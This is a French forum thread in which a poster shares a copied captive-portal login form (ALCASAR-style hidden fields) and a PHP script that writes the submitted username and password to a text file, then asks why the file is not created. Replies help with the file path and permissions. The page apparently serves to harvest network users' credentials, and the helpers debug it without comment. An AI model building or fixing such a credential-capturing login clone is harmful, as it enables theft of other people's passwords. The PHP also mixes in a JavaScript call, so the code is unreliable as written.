Récupérer un texte entre HTML et PHP

Récupérer un texte entre HTML et PHP - HTML/CSS - Programmation

Marsh Posté le 10-10-2014 à 23:32:55    

Bonjour,  
J'ai le lance dans la programmation en PHP et un HTML j'ai des champ a remplire sur un site mais je n'arrive pas a faire qu'il s'enregistre dans un document texte  
voici mon HTML : (une partie)  
 
 
<form name="form1" method="post" action="/name.php">
 <input type="hidden" name="challenge" value="92fedffbd67c496e0fd5fdd5b9df7671">
 <input type="hidden" name="uamip" value="192.168.182.1">
 <input type="hidden" name="uamport" value="3990">
 <input type="hidden" name="userurl" value="http://www.google.fr">
 <table id="boite-logon">
  <tr>
   <td width="20%" rowspan="3"><img id="logo-organ" src="/images/organisme.png"></td>
   <td width="30%" align="right">Identifiant</td>
   <td width="50%" align="left"><INPUT type="text" maxLength="32" name="name" autocomplete="off"></td>
  </tr>
  <tr>
   <td align="right">Mot de passe</td>
   <td align="left"><INPUT maxLength="32" type="password" name="mdp" autocomplete="off"></td>
  </tr>
  <tr>
   <td height="23" colSpan="2" align="center"><INPUT value="Authentification" type="submit" name="button" onclick="javascript:popUp('http://alcasar.localdomain/status.php')"></td>
  </tr>
 </table>
 </form>
 
 
Et voici mon PHP :  
 
<?php  
$name = $_POST['name'];  
$mdp = $_POST['mdp'];  
$fp = fopen("fichier.txt", "a" );
fwrite($fp,$name);
fwrite($fp,$mdp);
 
fclose($fp);
window.close();  
 
?>Je ne comprend pas pourquoi cela ne cree pas un fichier texte avec se qu'on a taper dans les champ mdp et name  quand je le lance et que je complie gogle m'afiche mon name.php  
 
 
J'attend l'aide de personne matricent bien c'est langage , Merci d'avance  
 
Bonne journée

Reply

Marsh Posté le 10-10-2014 à 23:32:55   

Reply

Marsh Posté le 12-10-2014 à 11:22:33    

le repertoire dans lequel se trouve le fichier texte doit permettre l'accès en ecriture a PHP.
 
est-ce un serveur sous linux ?


---------------
Mon feedback
Reply

Marsh Posté le 12-10-2014 à 11:23:35    

Non c'est pour windows

Reply

Marsh Posté le 13-10-2014 à 10:09:50    

$fp = fopen("fichier.txt", "a" );  
 
-> tu ne spécifies pas le chemin d'accès complet du fichier. Du coup, faut voir quel est le répertoire de travail par défaut pour savoir où PHP tente d'écrire ton fichier. Pour plus de sureté, mets un chemin d'accès complet. ;)


---------------
Astres, outil de help-desk GPL : http://sourceforge.net/projects/astres, ICARE, gestion de conf : http://sourceforge.net/projects/icare, Outil Planeta Calandreta : https://framalibre.org/content/planeta-calandreta
Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed